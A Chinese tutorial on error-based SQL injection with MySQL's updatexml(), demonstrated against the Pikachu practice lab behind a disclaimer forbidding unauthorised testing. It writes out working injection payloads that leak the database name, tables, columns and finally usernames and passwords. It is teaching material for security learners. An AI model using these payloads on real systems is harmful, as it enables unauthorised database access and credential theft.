详解SQL报错盲注


Posted in SQL Server onJuly 23, 2022

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL报错盲注详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、SQL报错函数详解

updatexml();floor();extractvalue();等函数都可以用于构造SQL报错函数,今天我们主要来讲解使用updatexml()函数。
updatexml()函数使用格式如下:

updatexml(XML_document,XPath_string,new_value)

XML_document是String格式的XML文档名称,XPath_string是XPath格式的字符串,new_value是String格式的而字符串,用于替换查找到的符合条件的数据。
该函数有一个特性,即如果XPath_string不是XPath格式的字符串,就会报错并显示处XPath的值,因此,我们可以利用这一特性实现SQL报错盲注。此外,我们还可以利用updatexml()函数的特性,实现在SQL插入、删除等语句中的SQL注入。

二、SQL报错盲注payload构造

1、updatexml语句构造思路

updatexml()函数的构造,首先需要闭合SQL语句中的冒号、括号。其次还需要使用and或者or语句连接成一个单独的语句,这样即可成功执行updatexml()函数中的语句。
下面,我以皮卡丘靶场为例,来简单介绍一下updatexml报错注入payload的构造思路,皮卡丘靶场SQL insert/update型注入页面如下所示:

详解SQL报错盲注

从上图中可以看出,该页面功能上是提供人员的注册,因此可以猜测其内部是insert类型的SQL语句,因此我们可以在手机、住址等列(一般不要选择密码,因为很多网站都会把密码进行md5处理,从而导致我们的updatexml失效)中插入我们的updatexml语句。通过简单的实验可以得知,该站点的注入闭合为单引号,因此payload的构造格式为:

12' or updatexml() or'

2、查询当前数据库

当我们确定updatexml()函数的格式后,我们就可以写实际的payload语句了,相关命令如下所示:

12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

从上payload可以看出,updatexml()函数有三部分组成,我们需要把我们要执行的SQL语句写到第二部分,第二部分是一个concat()函数,之所以要拼接0x7e是因为该16进制字符是一个波浪线,也可以换成其他的字符。
该payload执行结果如下所示:

详解SQL报错盲注

从上图可以看出,我们当前的数据库名为pikachu。

3、查询表名

查询表名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '

在上述payload中,concat中间的SQL语句要用括号括起来,然后写入正常的查询命令即可,该payload执行结果如下所示:

详解SQL报错盲注

从上图可以看出,我们查询到当前数据库存在一个名为httpinfo的表,如果我们更改limit的限制,那么我们可以得到更多的表。

4、查询列名

查询列名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

5、查询字段名

字段名查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

6、查询数据

数据查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

到此这篇关于SQL报错盲注详解的文章就介绍到这了,更多相关SQL报错盲注内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

SQL Server 相关文章推荐
SQL Server数据定义——模式与基本表操作
Apr 05 SQL Server
【HBU】数据库第四周 单表查询
Apr 05 SQL Server
SQL Server中交叉联接的用法详解
Apr 22 SQL Server
mybatis调用sqlserver存储过程返回结果集的方法
May 08 SQL Server
sql查询结果列拼接成逗号分隔的字符串方法
May 25 SQL Server
详解在SQLPlus中实现上下键翻查历史命令的功能
Mar 18 SQL Server
SQL CASE 表达式的具体使用
Mar 21 SQL Server
sqlserver连接错误之SQL评估期已过的问题解决
Mar 23 SQL Server
SQL Server一个字符串拆分多行显示或者多行数据合并成一个字符串
May 25 SQL Server
一次SQL查询优化原理分析(900W+数据从17s到300ms)
Jun 10 SQL Server
SQL bool盲注和时间盲注详解
Jul 23 #SQL Server
在SQL Server中使用 Try Catch 处理异常的示例详解
Jul 15 #SQL Server
SQL中的连接查询详解
Jun 21 #SQL Server
SQL Server数据库备份和恢复数据库的全过程
一次SQL查询优化原理分析(900W+数据从17s到300ms)
Jun 10 #SQL Server
SQL Server2019安装的详细步骤实战记录(亲测可用)
SQL Server携程核心系统无感迁移到MySQL实战
You might like
利用递归把多维数组转为一维数组的函数
2006/10/09 PHP
PHP下常用正则表达式整理
2010/10/26 PHP
php中$_REQUEST、$_POST、$_GET的区别和联系小结
2011/11/23 PHP
深入解析PHP中SESSION反序列化机制
2017/03/01 PHP
EarthLiveSharp中cloudinary的CDN图片缓存自动清理python脚本
2017/04/04 PHP
TP5框架model常见操作示例小结【增删改查、聚合、时间戳、软删除等】
2020/04/05 PHP
利用Ext Js生成动态树实例代码
2008/09/08 Javascript
JavaScript的类型简单说明
2010/09/03 Javascript
JQuery.closest(),parent(),parents()寻找父结点
2012/02/17 Javascript
jquery 取子节点及当前节点属性值的方法
2014/08/24 Javascript
JavaScript极简入门教程(二):对象和函数
2014/10/25 Javascript
jQuery实现的背景动态变化导航菜单效果
2015/08/24 Javascript
JavaScript编程中布尔对象的基本使用
2015/10/25 Javascript
原生js实现移动端瀑布流式代码示例
2015/12/18 Javascript
JavaScript必知必会(三) String .的方法来自何方
2016/06/08 Javascript
浅谈EasyUi ComBotree树修改 父节点选择的问题
2016/11/07 Javascript
详解Vuejs2.0之异步跨域请求
2017/04/20 Javascript
浅析Angular2子模块以及异步加载
2017/04/24 Javascript
vue+element实现打印页面功能
2019/05/20 Javascript
10分钟学会js处理json的常用方法
2020/12/06 Javascript
[04:32]玩具屠夫中文语音节选
2020/08/23 DOTA
Python中变量交换的例子
2014/08/25 Python
给Python中的MySQLdb模块添加超时功能的教程
2015/05/05 Python
Python cookbook(数据结构与算法)保存最后N个元素的方法
2018/02/13 Python
解析python的局部变量和全局变量
2019/08/15 Python
python rsa实现数据加密和解密、签名加密和验签功能
2019/09/18 Python
Python守护进程实现过程详解
2020/02/10 Python
Python实现病毒仿真器的方法示例(附demo)
2020/02/19 Python
施华洛世奇英国官网:SWAROVSKI英国
2017/03/13 全球购物
adidas官方旗舰店:德国运动用品制造商
2017/11/25 全球购物
创建精神文明单位实施方案
2014/03/08 职场文书
岗位廉洁从业承诺书
2014/03/28 职场文书
部门年终奖分配方案
2014/05/07 职场文书
导师就业推荐信范文
2014/05/22 职场文书
领导班子个人对照检查材料(群众路线)
2014/09/26 职场文书
工作保证书怎么写
2015/02/28 职场文书